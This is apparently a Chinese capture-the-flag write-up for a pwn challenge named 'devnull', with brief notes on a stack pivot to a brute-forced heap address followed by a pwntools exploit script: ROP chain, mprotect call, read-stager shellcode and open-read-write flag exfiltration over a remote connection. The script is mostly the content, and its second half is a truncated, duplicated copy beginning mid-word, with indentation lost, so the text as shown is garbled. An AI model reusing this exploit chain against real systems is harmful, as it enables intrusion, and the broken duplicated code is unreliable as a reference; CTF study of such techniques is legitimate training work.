第一时间考虑栈迁移,不过这道题动用mprotect改了所写页的权限为1,因此不可读。
看看周围唯一可读的就是堆地址。那就爆破。
知道往哪栈迁移之后,我们需要明确栈迁移之后能做什么。首先close(1)+mprotect设置页表权限让我们重回代码段不可行。所以栈迁移得一次到位。并且close(1)后并不好泄露libc基址。
同时程序没开启pie保护因此可以利用程序中自带的函数,第一时间想到用mprotect改权限然后shellcode。同时发现栈迁移完rdx为7,直接上mprotect!
因为gadget比较少,用程序自带的原生shellcode。

从这里开始可以控制rsi,但是rdi和rax关联。
去找gadget:有一条很好用:

用这条控制rdx即可。
然后就是shellcode调用新的read,然后orw,write fd用stderr的2即可(这里read的rsi需要离远一点,不然会崩溃)本来打算直接getshell之后用exec 1&>0来重定向的,不过不知道为什么这样不可行。
exp:
from pickle import TRUE
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch='amd64'
# r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
# r = remote('123.56.86.227',20712)
elf = ELF('/mnt/hgfs/ubuntu/qwb/1/devnull')
def pwn():
r.recvuntil(b"please input your filename\n")
r.send(b'a'*0x20)
r.recvuntil(b"Please write the data you want to discard\n")
# gdb.attach(r,'b mprotect')
leave_ret = 0x0000000000401354
gadget = 0x0000000000401351
#0x0000000000401351 : mov eax, dword ptr [rbp - 0x18] ; leave ; ret
mprotect_addr = 0x4012D0
heap_addr = 0xa06000
r.send(b'a'*(0x1c-8)+p64(heap_addr)+p64(heap_addr)+p64(leave_ret))
r.recvuntil(b"please input your new data\n")
rop_chain=[
heap_addr+0x28,
gadget,
heap_addr,
heap_addr,
b'/bin/sh\x00',
heap_addr,
mprotect_addr,
heap_addr,
heap_addr+0x48
]
# shellcode = '''
# mov rdi,0x3fd020
# xor esi, esi # rsi低32位
# xor edx, edx # rdx低32位
# push 0x3b
# pop rax
# syscall
# '''
shellcode='''
mov rsi,rbp
add rsi,0x500
xor rdi,rdi
mov rdx,0x100
syscall
jmp rsi
'''
orw = shellcraft.open('./flag')
orw+= shellcraft.read('rax','rsp',0x100)
orw+= shellcraft.write('2','rsp',0x100)
print(hex(len(asm(shellcode))))
# shellcode = asm(shellcode)
# shellcode = asm(shellcraft.sh()).ljust(0x18,b'\0')
payload = flat(rop_chain)+asm(shellcode)
payload = payload.ljust(0x60,b'\0')
r.send(payload)
# pause()
# print(hex(len(asm(orw))))
r.send(asm(orw))
r.recvuntil(b'{')
r.interactive()
while TRUE:
# r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
r = remote('47.94.166.51',22861)
try:
pwn()
except EOFError:
r.close()
continue
dget = 0x0000000000401351
#0x0000000000401351 : mov eax, dword ptr [rbp - 0x18] ; leave ; ret
mprotect_addr = 0x4012D0
heap_addr = 0xa06000
r.send(b'a'*(0x1c-8)+p64(heap_addr)+p64(heap_addr)+p64(leave_ret))
r.recvuntil(b"please input your new data\n")
rop_chain=[
heap_addr+0x28,
gadget,
heap_addr,
heap_addr,
b'/bin/sh\x00',
heap_addr,
mprotect_addr,
heap_addr,
heap_addr+0x48
]
# shellcode = '''
# mov rdi,0x3fd020
# xor esi, esi # rsi低32位
# xor edx, edx # rdx低32位
# push 0x3b
# pop rax
# syscall
# '''
shellcode='''
mov rsi,rbp
add rsi,0x500
xor rdi,rdi
mov rdx,0x100
syscall
jmp rsi
'''
orw = shellcraft.open('./flag')
orw+= shellcraft.read('rax','rsp',0x100)
orw+= shellcraft.write('2','rsp',0x100)
print(hex(len(asm(shellcode))))
# shellcode = asm(shellcode)
# shellcode = asm(shellcraft.sh()).ljust(0x18,b'\0')
payload = flat(rop_chain)+asm(shellcode)
payload = payload.ljust(0x60,b'\0')
r.send(payload)
# pause()
# print(hex(len(asm(orw))))
r.send(asm(orw))
r.recvuntil(b'{')
r.interactive()
while TRUE:
# r = process('/mnt/hgfs/ubuntu/qwb/1/devnull')
r = remote('47.94.166.51',22861)
try:
pwn()
except EOFError:
r.close()
continue